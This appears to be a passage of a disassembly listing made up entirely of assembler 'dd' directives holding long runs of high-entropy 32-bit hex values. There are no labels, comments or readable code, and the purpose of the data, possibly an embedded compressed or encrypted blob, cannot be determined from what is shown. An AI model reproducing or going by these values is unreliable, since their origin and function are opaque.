		dd 672E86E0h, 4C01E325h, 95DD15C4h, 0B492A5F2h,	0E9D40207h
		dd 645C0ED8h, 2CE06813h, 0D29700C9h, 2E639DC2h,	830D732Fh
		dd 11C486D5h, 65DEC0D6h, 102660DAh, 0AA7B946Ah,	84B5E900h
		dd 6BCEF59Eh, 85B400D6h, 2ACC132Bh, 0BE00EDE8h,	58265388h
		dd 9832CBFDh, 5E6F220Ch, 2C98084Bh, 2C112AAFh, 4BAA19D8h
		dd 304ED0A2h, 41128958h, 884303E2h, 984212D0h, 17475D0Eh
		dd 802AABD5h, 2B957FC8h, 0EE603500h, 48EAACDDh,	6A060B84h
		dd 0A08031E3h, 9FB72913h, 0CB86D100h, 8DB3579Eh, 0B42409F3h
		dd 4C005F0Ah, 21EB853Ah, 0CE09C100h, 43CDA249h,	0B04C7BAEh
		dd 0DD050247h, 6E516322h, 0B013DA40h, 6F528B1Eh, 2F2B4Bh
		dd 5BAB6737h, 1D490048h, 0D499CBFFh, 2500E76Eh,	0CD33F5A7h
		dd 22B8CBCh, 0C1BD53F4h, 8C8107A9h, 0E3A1D5E0h,	0D09350F0h
		dd 0CC3FA507h, 81AEB10Dh, 30EE6CDBh, 28B41C8h, 0AFC27153h
		dd 84707E0Ch, 971E4400h, 2F3F10F1h, 5C2D0095h, 3054AFAAh
		dd 754C4125h, 6DF7003Ch, 5B0D5F26h, 18C042Dh, 0A4E1FBDFh
		dd 670291D8h, 3AD528EFh, 9A2A605Dh, 0E3BC0050h,	80A13CDCh
		dd 0B4007D79h, 4B3002DFh, 4D0CE5Dh, 6CC847E0h, 38348006h
		dd 3B185FEEh, 9E100CF7h, 3AC6099Ah, 4021D97h, 4C2483C3h
		dd 0A6DE480h, 4DCD02BCh, 0B558DD23h, 222A1760h,	4295C10Fh
		dd 0BDE6819Fh, 0FAE86FE1h, 0F468B0C8h, 0F9431254h, 4A0C0F3Eh
		dd 7CFEEE00h, 38000A3Ah, 0C36808D1h, 0A62FE0h, 63D50F57h
		dd 79923213h, 986BC00h,	0AAE9878Ch, 0DCB062h, 7CA2C6D7h
		dd 0F38F94FDh, 1EB21513h, 0DB447800h, 721D01h, 5B3A86A5h
		dd 0C208612Eh, 0C82F5E00h, 2645F85Ah, 731200CFh, 5046154Ah
		dd 1B00CEA3h, 0A8EC5619h, 0EE7795h, 0DE105EFFh,	0B051F162h
		dd 8EC04700h, 12A17593h, 1303009Ah, 0F1E67F0h, 0AD2CAFF5h
		dd 4587A07Fh, 7CC69280h, 0E2AC0060h, 78222814h,	5249FBABh
		dd 0D6ED0244h, 78C279E8h, 812600A4h, 7259B858h,	0E41C96A8h
		dd 3DC02DF5h, 155B3C60h, 4F180043h, 0A0FBC5BAh,	7F01DDFFh
		dd 975E2C4Ch, 0D0257645h, 6998E4h, 0D52AA3D8h, 0A0388A4Ah
		dd 94ECAB26h, 0A9D95300h, 1EF598CFh, 9D7D9D16h,	0F3F9C013h
		dd 0EA3F3DA7h, 0F828BD7Eh, 0A109A8D0h, 0A0D875D1h, 0F1635CE8h
		dd 4EC403F9h, 0DFB57437h, 96AD80D8h, 7FB4FD00h,	36AE46CBh
		dd 0C13B0024h, 0D98407E3h, 3572AB27h, 0EE08E61Ch, 0B8AA29C0h
		dd 190308Eh, 264EB0EBh,	0FCB4CD7Eh, 9127FF3h, 0CE049E78h
		dd 40937404h, 2AAAE805h, 7C340031h, 49D2AE88h, 570023E7h
		dd 80BED5CCh, 9C9A9Dh, 0D41AB7A4h, 0C338D127h, 125E9200h
		dd 0FCA6293Fh, 3AAE005Ch, 44588E3Dh, 1C042B30h,	0B8405ED8h
		dd 0F8878580h, 51A0014h, 63BB91B4h, 0C5000AF0h,	0B349325Bh
		dd 98042780h, 0B9090040h, 4C2E59A4h, 9D726675h,	71F41309h
		dd 807782EFh, 0DE40F581h, 160BC1D1h, 50CBF175h,	127800C4h
		dd 828B45FDh, 30006379h, 0C390880Dh, 4A1628ECh,	5A0C0F5h
		dd 7500736Ah, 0E6A8334Eh, 1D22042Fh, 0CE14FB9Eh, 0E7AE9A15h
		dd 0CC876629h, 0E1F030C3h, 9800F212h, 8436AA10h, 21FC6Dh
		dd 50E4EA3Eh, 0DC69D5ABh, 65788095h, 192B92h, 0B3A3030Eh
		dd 85D686F3h, 3C4F3400h, 3B7227A8h, 5AF61275h, 378040C2h
		dd 7A35D6A1h, 3C9862E4h, 36C0051Ch, 0C0EB0ECFh,	80EDB8D0h
		dd 699A01C5h, 0BE5FCD46h, 94F660DAh, 0C9234C02h, 0C0858650h
		dd 8DDBE5h, 75AD4B63h, 8E9EE54Dh, 82CFC43Dh, 5B43C10Fh
		dd 6F45E1Eh, 0B9DD0977h, 3ED60A0Eh, 5D37C03Ch, 3783FBB8h
		dd 0A1282433h, 122187C7h, 40D72706h, 0F73D10B3h, 8EA93502h
		dd 0E043B841h, 5ADD66Ah, 92E33626h, 2D3BC0D3h, 700548A3h
		dd 7376257Fh, 0BFB52800h, 505AC42Eh, 604C45h, 0D02577E2h
		dd 91B51B4h, 0F7702103h, 0D8EF5Fh, 87336390h, 0A85945C0h
		dd 283E3C18h, 0C15C3AC0h, 26D55D48h, 647F87Fh, 0A914EF00h
		dd 7BFE992Fh, 2BBB0017h, 0CF80EC4Bh, 5A006B6Fh,	3C551F59h
		dd 924029h, 91B0DFFCh, 0C07063FFh, 0DAF60200h, 0E48FC93Dh
		dd 4218C0CBh, 0EE1D0C65h, 3401E07Ch, 0DF5BD04Eh, 20839294h
		dd 644DC50Bh, 39C9E8D0h, 1760F300h, 35E0E1F2h, 0F55200D0h
		dd 3492AA61h, 48D96473h, 1F6D340h, 0E05FD848h, 0F878BCD7h
		dd 0BF27DC00h, 0A2E0E8C5h, 0E899FA2Eh, 175B0029h, 88AA9BEBh
		dd 3A310C6Ch, 0CD5418E6h, 0A1C0218Dh, 8B8FD889h, 0ED50BD60h
		dd 186FC951h, 0D0FE0558h, 0B7099435h, 6A5E0DBh,	141CCC2h
		dd 7F1A225Ah, 0BE2BEDFBh, 8BA90048h, 1CE0D8B6h,	5DC90FE6h
		dd 0A887E1FDh, 4D37E0B4h, 60D05630h, 0CB730060h, 0B57B9A82h
		dd 0FE440037h, 845B6A8Ah, 34703EB7h, 9132760Eh,	0EDA2609Bh
		dd 7B45A4h, 69948ACFh, 0D3C96778h, 0FA001E7Ah, 0DE3A744Eh
		dd 0F2042664h, 0E4A20098h, 69C26636h, 0E2285DDBh, 8300C690h
		dd 572F2025h, 322DADh, 780A681Eh, 65AAC976h, 51958700h
		dd 52539C4Bh, 570C2AD9h, 66810E9Ch, 13C0D0FBh, 0C04E3F63h
		dd 0F7822616h, 6D78B600h, 4C363Eh, 0F5C1E79Dh, 0A9A51B55h
		dd 9CA95878h, 0A0045AE8h, 0A86C702Eh, 1D74FF4h,	9DBFE0E2h
		dd 70C9F43Bh, 0F9005CA7h, 0A4302E63h, 32C0485Fh, 9129D9CAh
		dd 895BFD10h, 4449086Ch, 0E28475D0h, 10188970h,	92B84Eh
		dd 2038E5DCh, 66D60FD7h, 0E2EA880Ah, 0BC03CCB9h, 0F86DF5BFh
		dd 0EE7560h, 2146DE02h,	90AC2BFEh, 92FA0E00h, 93E2B23Ch
		dd 1F4704Fh, 0A5C8F08Dh, 806B0FA8h, 971928F1h, 5A1BB16h
		dd 15187961h, 383BAB6h,	45B3F0C0h, 0D7E0092h, 67490ED8h
		dd 5A00A503h, 509BBA97h, 7D4143B9h, 0FB57008Ch,	70B4B676h
		dd 4F05C82Eh, 0E0740583h, 6A580800h, 3451819h, 1B48599h
		dd 898BF442h, 7C300CD8h, 806D213Ah, 62808774h, 389EE08Ah
		dd 0E5018257h, 4F5D7B2Dh, 92B88027h, 3951D62Ch,	0BE2200E3h
		dd 0C60E701Bh, 0D100F66Bh, 0F7AED236h, 726A2C3h, 9D21DCC8h
		dd 312B90FFh, 6C67338Ch, 0A6D03E60h, 0F058BE84h, 0DFF42E94h
		dd 0FD130074h, 0C4D3A469h
		dd 0EA68ED00h, 5DC7778Eh, 0D9AD2461h, 0E4BB00F5h, 707FE127h
		dd 766C3F06h, 374B68Ah,	537A237Bh, 0EC932B4Fh, 122792A8h
		dd 0A00E1103h, 882E6E8Ch, 0D3D754h, 8BB87A5Dh, 84DF0844h
		dd 4AAA4000h, 1EEAED1h,	7DE4001Ah, 627E60Ch, 330009B3h
		dd 259DFA55h, 113C53h, 97D78490h, 0B0F45E36h, 1C943300h
		dd 0EAC6826h, 9CAF097Ah, 6C00CA13h, 0AA98FE2h, 3B6DDF07h
		dd 0D5E087D8h, 1B0B56h,	8CFEE454h, 0BD63F7D9h, 0C03F7A71h
		dd 27C600AAh, 0AC5C21F8h, 14190074h, 0F6DDD14Dh, 0C5005D41h
		dd 0AA28A55h, 0E07A36FEh, 2F8C006Dh, 6B5605BCh,	0C700A162h
		dd 0D1699E40h, 1C55F732h, 406D9752h, 810BD3A7h,	0BF3EDC12h
		dd 788CC1Ch, 13E9C8DAh,	0B5E653A0h, 6A1F3A80h, 7F322500h
		dd 426E9C7Dh, 2E33DE03h, 0B8A3023Fh, 0FBC2A2h, 0DC7E1D1Ch
		dd 0C0866CAAh, 18FFC424h, 58AE9F00h, 0F528243h,	0BD9DF515h
		dd 6DE24CFh, 0A171C32Fh, 8B0B6F00h, 453BAB8Eh, 8D720B76h
		dd 0BD803A39h, 0BF974D0Ch, 0C969A70Fh, 0E14BC088h, 1CEF9DA8h
		dd 952371h, 85BCC350h, 37004A80h, 635C29Ah, 67B01Bh, 188C8834h
		dd 0BC89E146h, 15C76807h, 0C930DD47h, 4F3F5DBh,	0AB1390E7h
		dd 0A544C066h, 2D002F25h, 238C1AEFh, 4233FDh, 594ECB19h
		dd 3E359236h, 0D949D04h, 14D006E2h, 79F369CFh, 7CB10007h
		dd 0F736DF80h, 8A00D24Bh, 4FBE6D2Dh, 255815Fh, 18AD971Ah
		dd 0C860788Bh, 9D484BD6h, 48B100E4h, 0E9C46E71h, 0EA9B003Ah
		dd 0A85EE3AEh, 0CBF4FD9Ch, 65A21400h, 23B54C30h, 0F0ED03E5h
		dd 0E7F4915Eh, 6CF6CC90h, 0C30011DFh, 628BD9CBh, 9DD60098h
		dd 0AD8C46D1h, 2700A204h, 6C35DB7Bh, 8E3DD7h, 66D1D467h
		dd 833CED21h, 0D8F9591Ch, 80ADBBBDh, 0F71DC9B1h, 5EB595h
		dd 873173BEh, 0FC8B41Ch, 9EB91000h, 0EA2FDC4Ch,	0DA620157h
		dd 0A1ADEE85h, 6109FCCEh, 6077ACA2h, 0F9B2922h,	0E9BF4035h
		dd 306D6E60h, 0DA18DFCAh, 0C47A8187h, 728400D2h, 33A16A35h
		dd 47F23F3Dh, 0C3F10E01h, 0FECBE2FAh, 0A82B62ECh, 44A7EBACh
		dd 0EC00B168h, 108570E8h, 5007D1h, 205C60F2h, 749906EFh
		dd 0A90B8800h, 668B49EBh, 0CF6900D0h, 0D5C1058Fh, 6C044A99h
		dd 633BEA1Ah, 0C54C78C0h, 0A0D04CB2h, 2EB74200h, 12EAEBE2h
		dd 11D73950h, 12561C26h, 56D8603h, 29E59093h, 2FDE091Fh
		dd 3B041182h, 0C4C4C03Bh, 4A0EDD54h, 201B188Dh,	5F13D8F2h
		dd 784604AEh, 80E928D4h, 93C3B1A6h, 0C721DF00h,	736EA8A0h
		dd 0FE2F3EBFh, 0E119CA80h, 2A6B3AF6h, 0A57E001h, 2C758BCCh
		dd 0E648EB30h, 0DB920044h, 0D7DA0DAh, 877C622Eh, 1F2628F2h
		dd 1182E476h, 0E3FED43Bh, 0A61CE9C5h, 0F48B3080h, 7FD68764h
		dd 4EE4AE00h, 0D8AC266Bh, 3D920181h, 96167DBEh,	389DCCF1h
		dd 0B29A7400h, 0C9B4AC8Dh, 13E1007Fh, 95E2C7D5h, 0DEA13F75h
		dd 91A8803Bh, 0D04D3427h, 1C947D76h, 42ABA36Ah,	84A75E25h
		dd 0E8FE2C68h, 4C92600h, 0F77F8672h, 1ABE3D5Fh,	23209B8Ch
		dd 813E62Ah, 0EEAFAEh, 0F7878E3Ah, 0D33EDA3Fh, 0F85D8021h
		dd 909AF3C6h, 4B6F0002h, 7B23E052h, 5C00741Ah, 0FDA4498Bh
		dd 3045D06h, 67FEA70Dh,	66F802C6h, 9D0FE3EFh, 20D61C9Ch
		dd 0AFAB7699h, 0E14C0044h, 584A472Fh, 0B900530Ah, 1A85D4B4h
		dd 14C44B37h, 0A26107CEh, 249F7D73h, 80203ACAh,	2C59FADDh
		dd 0AE020494h, 84CD1A79h, 0F961E0EFh, 0E9AB0F61h, 0B1C3FA29h
		dd 3BF8155Bh, 0CCE3B951h, 4A00867Ah, 4DB264E2h,	24ECB626h
		dd 18558h, 6D0D1113h, 3400FD01h, 0FFA33FD9h, 1E64B94h
		dd 0C349E4B6h, 0FC38E7EEh, 0C2509B55h, 4800B893h, 0E34D6C57h
		dd 780FE5h, 3BC60D27h, 0CE2FD0ECh, 0C5750C00h, 0BB1BAD77h
		dd 15A100F8h, 0D2D6DBFDh, 12075A63h, 0A9B528ECh, 0A3926550h
		dd 4BC90052h, 7AFC85B9h, 0A4B85698h, 5425100h, 3847DC46h
		dd 0BE9C0066h, 0D440997Fh, 1900C5C2h, 9EEEB876h, 5DFA9C7h
		dd 0F207153Fh, 0A4F800F5h, 62B4F08Ch, 0FA4BB48h, 6945891Eh
		dd 69F98ED2h, 7EA800F8h, 94CF80h, 78146C96h, 0B31A75EAh
		dd 0C0533900h, 0BF0419AEh, 0EC9A49h, 0E933F1D9h, 7E02775Bh
		dd 0F427AA26h, 9A04ADACh, 0F4C0CE47h, 345A970h,	60A30432h
		dd 0B805FDF3h, 836FCD07h, 0C50BD8C0h, 0B2E6131Dh, 2B40016Ah
		dd 74B92968h, 0D60941CCh, 0D762B5h, 0B4EB149Dh,	49D0005Bh
		dd 22AEC62Ch, 840270CAh, 506B9FBAh, 0EDA0806Ah,	13D6243h
		dd 0BBA1F1C4h, 405519A3h, 0FD52D2F4h, 0B9544A00h, 72401C39h
		dd 8DB100B4h, 62C788E9h, 30000677h, 0C490AFF3h,	0F07A46h
		dd 0BD186031h, 102BA841h, 0FFB205Ch, 80CCE151h,	0A415FC12h
		dd 0C2830F1Ch, 8141619Dh, 28A5C341h, 0C67F0350h, 9BD1D8F5h
		dd 9D74F145h, 2E959AF0h, 329A802h, 0CCE21293h, 22E1B8A8h
		dd 0ECB31400h, 0B71C5730h, 0D6F900FFh, 2E772D8Bh, 1B00B04Fh
		dd 1F87BF94h, 7278123Bh, 90615CD1h, 6E544E0Fh, 119EBD06h
		dd 4511A440h, 0B6D540A1h, 577F580Bh, 5F56300Fh,	2A258060h
		dd 0F6E2E63Dh, 0EADD03ACh, 0CBFF3426h, 595B3800h, 0CAF9AF35h
		dd 0ABD0036Eh, 0E042A5B8h, 0C5E093CAh, 0C1E85E02h, 873CC938h
		dd 0BF5F50FFh, 0AB4E1FF2h, 62630D84h, 0A3B05087h, 0BAA17C6Eh
		dd 273F410Ah, 0DC0F1069h, 35A6C321h, 0C10B90EAh, 5DC80FDEh
		dd 734028F3h, 0A901F9B6h, 4D5A7000h, 0AE22CA8h,	1BE05Fh
		dd 0E6FA2A6Ch, 79074B82h, 89857E05h, 38877B22h,	2C1B2BD0h
		dd 0BC4900ABh, 0D73AA6B5h, 1009478h, 9B6040D3h,	1DE085C9h
		dd 0C059DC89h, 69F5BC6Eh, 3E07171Dh, 41403A68h,	51627CB0h
		dd 99300472h, 0C00D7098h, 0F76A069Bh, 9F9E2F03h, 0A9D8E5AAh
		dd 3ED0D317h, 90220088h, 375F413Ah, 0D6009C55h,	9B8F64A9h
		dd 6183E26h, 7BA736F0h,	0B54C106Ah, 64900041h, 0C537C628h
		dd 6644045Eh, 80F9711Dh, 0AD3A5455h, 8AD2483Ah,	0A0C4514Bh
		dd 96683187h, 2B50FCF7h, 4F80823Ch, 860420DBh, 0AE0223F9h
		dd 0F1BA54E1h, 1DEC4062h, 0FCAA38DEh, 0A985980h, 14373D21h
		dd 19711700h, 0CE04007h, 793E0E7Eh, 0AA003AE8h,	0B43A2E7h
		dd 3DF59300h, 0F12CC6D9h, 6F334847h, 73F8F00h, 4920399Ah
		dd 1900C0FCh, 0E1402ED8h, 2B90B27h, 28D0D78Bh, 1440A1FAh
		dd 3E16B11Ch, 90043B2h,	75E4E10Bh, 33E463h, 4224B44Ah
		dd 2E43F9E8h, 0C2564900h, 4BC64421h, 601A07D7h,	0C05DA4BBh
		dd 0E6265999h, 0C01DC5E4h, 4EC0B0D6h, 0E01793C7h, 43634EC2h
		dd 0C1662798h, 95511900h, 5F7CC5CBh, 38633AB9h,	0D9296F31h
		dd 0E38035AAh, 0BE235E0h, 0EC00834Eh, 42A395E1h, 0C93B00E5h
		dd 473C5D51h, 0D0074E43h, 0CA92AABFh, 3F847CC0h, 87B500EAh
		dd 0A93B48D8h, 1008B18h, 0B7F72AF8h, 19ADC332h,	110B721Ch
		dd 0B7044A0Dh, 3309C701h, 1CF43FF0h, 0DE3CC874h, 441140DFh
		dd 0E39C4971h, 2016F00h, 3F97F509h, 290F6216h, 0AC0038BBh
		dd 73DD7745h, 27EE0085h, 79949A4Dh, 0FB51899h, 510057ADh
		dd 12AE8B06h, 55490016h, 5FAD23A2h, 29004CEBh, 0EA476BA0h
		dd 0F114BC3h, 0F437B2ACh, 0CC1A4EC0h, 7C0026A2h, 0B412C9D4h
		dd 0CB9A87h, 0F6B91119h, 7B85B6B1h, 0A686BF00h,	7280C3C9h
		dd 82D10013h, 7C5CA942h, 0A2E0FD90h, 0F9A81700h, 0C35BBEE0h
		dd 865E0010h, 7A4322C8h, 6D0085E2h, 329115D3h, 79044B0Ah
		dd 39F0FFDh
		dd 0A7C0FBCDh, 6FCF0DC7h, 0CC6C7C63h, 0F392E0B6h, 575500E5h
		dd 0FCF29A46h, 6A14ADDEh, 3CD85852h, 6F5C13h, 1D96B0E9h
		dd 71629A6h, 36EC78C9h,	0B2402CA8h, 8450700h, 39885D95h
		dd 2E9868h, 0E7CC14E1h,	1A411864h, 0DBCAB700h, 0A9930FD1h
		dd 330B1E46h, 31A800E6h, 10065CE2h, 5A00FD7Fh, 582D3DFBh
		dd 0B0F5DCEDh, 0C9F200BAh, 8680BF6Bh, 5D00B652h, 383E272Fh
		dd 74D8A5h, 1F8FDB67h, 0C951195Fh, 0EAEE9900h, 537245ECh
		dd 4BE52E81h, 3BA900DCh, 0DE750252h, 42736D7Bh,	0CDBB9C1Fh
		dd 0A87649h, 1E3D662Ch,	0BAB03CCh, 0D652A7A1h, 0F18C3988h
		dd 2B477D00h, 13FB8943h, 715400C2h, 6429DEE8h, 0B1771FDCh
		dd 5FBF2015h, 0CDDB00A0h, 7B2CABDDh, 9E7572h, 78BF0767h
		dd 464B1A42h, 240D3A00h, 0DB20A5FFh, 0AE7200CBh, 0CE2797C1h
		dd 504C22DEh, 0BA3090Eh, 0EE1079Ch, 6534CB41h, 12F920h
		dd 1887AA74h, 324B9179h, 38002374h, 68D70492h, 0F8F32C24h
		dd 205901EBh, 928E9BEh,	275020BDh, 920016E2h, 5812A041h
		dd 7E403Eh, 0DC246957h,	0A36862A9h, 9F3ACAFCh, 2CF78217h
		dd 400CB034h, 18D1C0h, 97B2D14h, 0B66703B1h, 0BF0012E4h
		dd 669CF110h, 301D049Eh, 0ECFA91A0h, 0E500E0BDh, 3374D260h
		dd 0C4E12Fh, 0D7C5AB44h, 0B33125EAh, 0E3AF98CEh, 9088726Dh
		dd 24EE1A66h, 80A00151h, 31E2A398h, 84795778h, 0CB53080Bh
		dd 0F907D532h, 6042B0D6h, 0FB013B5Bh, 0E49133ACh, 38C4179Bh
		dd 0A9E200BAh, 0C0966E44h, 97264292h, 0BF0028B8h, 0A234E85Eh
		dd 8F4F0154h, 1BB76772h, 0DE78E0C3h, 20501700h,	1D163BD3h
		dd 2A5900E4h, 0E90AC614h, 0BC0041B3h, 1373B01Ah, 935D82h
		dd 0FA354B29h, 5904AFD4h, 3437EB00h, 0D8AC1BEDh, 0E587001Fh
		dd 41951DF2h, 86000F0Bh, 10C8EECEh, 2C5E8832h, 11096Ah
		dd 98F43592h, 0FD003D2Bh, 33B3CA36h, 2C95C31Ah,	74A672h
		dd 26F67739h, 8900751Fh, 0FAA58EC7h, 1F5E4C0Ah,	878FB83Eh
		dd 0AAA05B97h, 62D20EDCh, 2D7A900h, 0ACA99C05h,	0F6C7E414h
		dd 58D2E500h, 630CB3C4h, 2A28001Bh, 0F43AF21Dh,	96001252h
		dd 643FB26h, 507DB493h,	4671A0BBh, 0E740005Bh, 91DF4B09h
		dd 455C00C0h, 0B435970Fh, 340AB777h, 98A1E563h,	1AB12B00h
		dd 0E6802CF3h, 8DCE00DAh, 94EC703Ch, 0A0009676h, 75551FC0h
		dd 406093h, 0A3306FADh,	0ABA85DFh, 0F8EDCF03h, 0C09195C4h
		dd 71EA55F5h, 7BEC908Ch, 0E82600BDh, 8581AC5Ch,	310F2749h
		dd 2939FBB5h, 2FA50276h, 2064A1h, 54606232h, 0E0CACBC3h
		dd 376F941Ch, 9E1B4AC0h, 38E8C1h, 0C5A7A9D4h, 0F2297E88h
		dd 8B001898h, 1BF075EDh, 1ECC55h, 9492C6C0h, 7D164247h
		dd 66F94F00h, 0B05A420h, 323B018Dh, 87CD8ED6h, 2E708F29h
		dd 0BA084071h, 16AF385h, 0E5FDD061h, 0C744E28Dh, 4D9D1EC8h
		dd 0DFB5673Fh, 0B4DBA500h, 0C06EF9Fh, 2380E08Ah, 41245D0h
		dd 1901350Ah, 0DFF69246h, 1C792CE0h, 40AE9F32h,	0B18365ADh
		dd 14005018h, 0F85271D9h, 0F23778D5h, 0D10E0032h, 93D37453h
		dd 441F7CBAh, 0B4001C30h, 709EBB88h, 992E0550h,	0F6A948h
		dd 22347A80h, 73000849h, 5625338Fh, 0A3EDFEh, 0FD7D85F6h
		dd 7ECC7421h, 0CF94DB00h, 3CECF2A2h, 2DA000DEh,	0FA1F430Bh
		dd 6C985DB3h, 1CAA38A0h, 18E52700h, 0D80E490Dh,	2D12036Ch
		dd 0E00FC222h, 4D4E07D8h, 3CC6D300h, 43EAC905h,	34D600DBh
		dd 129689D4h, 80009167h, 0DB2A3FCh, 7CD321B5h, 0CE850408h
		dd 0C01E0E01h, 0CF5ACB18h, 7E906C27h, 2EB900C3h, 0B8CF454h
		dd 5EC5E800h, 0D5AE1118h, 45380E1Ah, 0C4402206h, 54CF5F9Fh
		dd 0B5C24D00h, 0BDFE852Ch, 38B880h, 0B0EF17F8h,	0B2D13AFCh
		dd 51A07800h, 0F10CFBA2h, 89C50E25h, 0C03D1042h, 0CB8CFFDFh
		dd 7C006CF7h, 553FC033h, 0B290B40h, 5BBAB347h, 4CC59CA0h
		dd 5300F2EEh, 0E0C74D7Fh, 1D4316h, 373CB180h, 8A5DBB6Dh
		dd 7493FC26h, 0F9991Ch,	2EEC5C77h, 0FAC891h, 2804A13Eh
		dd 0A03C2A93h, 0F638B80Bh, 0A8A8A1D2h, 0B074C387h, 49C50C3Eh
		dd 3F088573h, 1811D131h, 1084CD40h, 0F0B07FFh, 792900DDh
		dd 0FD426Bh, 0E9CCB07Ch, 7219C6E6h, 7B036573h, 0BB3F7F35h
		dd 85B9F154h, 92839F0h,	3040A438h, 59940D81h, 0CD2FE075h
		dd 64FBA007h, 0C44029D8h, 1F435214h, 3AD451C3h,	6C229B83h
		dd 0D9F0CF57h, 0F530B0A4h, 720DC026h, 0E0CD4104h, 0FB0E41EFh
		dd 8027401Ch, 710A5E12h, 4910A1FDh, 0D81C86D6h,	2BAFE50h
		dd 0D08F308Eh, 9E02A4Dh, 5500C94Fh, 38BE3CADh, 7B874824h
		dd 3B250706h, 0C0B76628h, 0A9AC5A1Fh, 33371900h, 631E4BBCh
		dd 48640056h, 0C74B3FBh, 1100CAD4h, 2C3C2622h, 7AAE5BDh
		dd 0D2EFE6Ch, 5672036Dh, 120983A8h, 3ED15D00h, 155536F5h
		dd 0F35A00B4h, 0CFC65326h, 0C3005679h, 176776F1h, 12F1A18h
		dd 61C85569h, 20749838h, 8558F8CFh, 5B290075h, 56A788DEh
		dd 3379E8h, 760D09A5h, 8316994Eh, 6E00F2F4h, 19EA080Fh
		dd 1281C746h, 1BFBA0Bh,	0FE17F7BEh, 0F9102434h,	0BD504F02h
		dd 862C2BDCh, 2518CA9Ch, 0C400BA90h, 728682F7h,	2444A700h
		dd 3BD6CA5h, 5148C70Bh,	992DA74Fh, 0AFC6AE81h, 0D7588989h
		dd 0DA4A39Fh, 260816CFh, 0F7CC43D8h, 0BAE1C934h, 0DF61800Ch
		dd 0A6856B6Ch, 7F1701FEh, 5EE17965h, 202884E0h,	0B70330D0h
		dd 6A026FDh, 0C1DC39B1h, 6F69E218h, 35CF00DFh, 0DC8EBE24h
		dd 25301762h, 165228CDh, 5032196Ch, 14294128h, 6B5131C1h
		dd 4E97D083h, 0EFF0C323h, 2E07A00Fh, 0D730786Fh, 0B5267D31h
		dd 0C0F981BEh, 0C5A5B091h, 6E00C047h, 84DC2354h, 53D8C1Bh
		dd 0FF43202Ch, 52884526h, 188053C7h, 85CF971h, 2E0F8973h
		dd 264C1939h, 18E9D660h, 2906A627h, 71CBC3A0h, 1E030056h
		dd 14C191F2h, 0B87578D0h, 578E2588h, 0E1284CC3h, 0F21B03A8h
		dd 1D9ADB82h, 9CD6502Ah, 0E2ED44h, 0A56DFD2Ch, 3107CFD9h
		dd 0BA05700Ah, 0BD8ADC3Ch, 1786905Fh, 0D0599FD4h, 280050C8h
		dd 346E3B74h, 0E800C3EAh, 6DF4E618h, 7AD07582h,	27552952h
		dd 810832B8h, 29048C8Ah, 4FA58C10h, 54220669h, 0BADFF836h
		dd 78208448h, 0FD881252h, 0AE3821F4h, 0B51311F1h, 26C6DD0h
		dd 0AA910F95h, 348F3318h, 0B3497783h, 2CF13928h, 0B2715400h
		dd 0EA39C86Ah, 1B6F777Fh, 616BE78Ah, 0BA23F4B2h, 0C3F90005h
		dd 67D8194Eh, 0A301B83Ah, 469C1B2Bh, 5424894Bh,	220A42DDh
		dd 139B013Ch, 92901A7Dh, 26C848C9h, 80B8DA48h, 6C34C817h
		dd 1BD09F46h, 2DC77201h, 0B623E20h, 0C956918Ch,	651857D9h
		dd 0F5180E6Fh, 0A0BEA42h, 0B85234A2h, 5F64403Ch, 2E127953h
		dd 644888A0h, 0FCA6DDh,	0B8F1A398h, 0D50055D8h,	191D91F5h
		dd 1E841CAh, 9569FEDFh,	8FEA8BDEh, 18A05751h, 26D141h
		dd 948E6F0h, 60BF4BCCh,	5D077DE8h, 40154EACh, 543839F6h
		dd 18A5E095h, 4136A0D0h, 92029716h, 734EB4B5h, 8C6C861Dh
		dd 0C7DD1D21h, 85E0007Fh, 96D2CA27h, 32AB1E0Ah,	1D40F888h
		dd 0C20BA384h, 0BE6C26F9h, 223DC408h, 0BA951827h, 0E22219C0h
		dd 36F8F204h, 0D9C42E74h, 48524C92h, 3710844h, 3E970A9h
		dd 67887985h, 4F01AC1Eh, 3EEBD691h, 58947A0Bh, 1700A88Eh
		dd 1846C953h, 780C274Eh, 2088DAE6h, 60E54C8Ah, 48B617C0h
		dd 0B30B137Eh, 9088207Ah
		dd 0D5A1CB08h, 2C80D0C0h, 53780742h, 56E1F801h,	64411CE7h
		dd 3DF25FEh, 148F1774h,	8A05D890h, 0A037092h, 87B996Ch
		dd 0D8E2BB81h, 6B70C4h,	0E84F2C49h, 80116C63h, 28546633h
		dd 1B3016EAh, 0B9ED00D1h, 8A47C9CAh, 6E186660h,	33CFCC4h
		dd 0AAE02CA2h, 311DA4DDh, 7B98F766h, 70DE828h, 0EA5C924h
		dd 1FFA1051h, 60C07958h, 0ED74AB66h, 25575DEh, 9F1E819h
		dd 0B8033061h, 0F9B13D80h, 0EB037F3Ch, 0DEE95513h, 50092AC8h
		dd 97269306h, 6E517B0Ch, 3E8660CCh, 7AF0819Dh, 20C64DF8h
		dd 29C259h, 4628A8E0h, 797EC090h, 329A073Eh, 2F65793Dh
		dd 0E8DCD840h, 0E700B286h, 20F5896Dh, 0C29D783Dh, 0A5417F20h
		dd 5F0C7485h, 0C9C60C8Ch, 0B480EE50h, 1020C47Fh, 34212098h
		dd 71647C22h, 9FBD0056h, 0E3BFC10Bh, 4E0EF7FFh,	270D630Eh
		dd 850110FAh, 698EA224h, 7A405325h, 0BA2A9122h,	0E15ADB19h
		dd 971388B9h, 87372780h, 0E8DA1728h, 95ADCC3Dh,	28806D01h
		dd 0EB63C8E7h, 37659A9h, 0F3D6FA19h, 70F0AD43h,	0A40CB9D0h
		dd 0F1BF6036h, 0B9096244h, 7883B2F9h, 4CE1E2A6h, 918740ACh
		dd 7C1E54DFh, 815E4226h, 0D1B92930h, 0B42801F1h, 0B0C95F5Eh
		dd 0C68183CFh, 0E1A45886h, 0D840E722h, 2B8C6Ch,	886D1460h
		dd 904F8339h, 7918D698h, 9E50E33Eh, 0B97860F8h,	67262EBBh
		dd 55A40CA3h, 0C4591948h, 0A8C49F11h, 48A13AF3h, 28E9017Fh
		dd 0FAE81BB7h, 0C03BC018h, 0D8B0D300h, 0C92F5C03h, 0BB90C3FFh
		dd 5128791Fh, 1254E8C3h, 0CA0C1AACh, 0B9EA24A8h, 3A410068h
		dd 0FA6DDF58h, 0E200F792h, 0B0C75045h, 701D1452h, 2947E646h
		dd 0E80B56Bh, 4920FF4Dh, 81209BEBh, 83826C19h, 4B70AB71h
		dd 2ADC01B7h, 0F1F41830h, 0BC6824A5h, 2E11E88h,	799EC407h
		dd 0F6E01136h, 0A70A5083h, 287F5543h, 7005247h,	4B39E6Fh
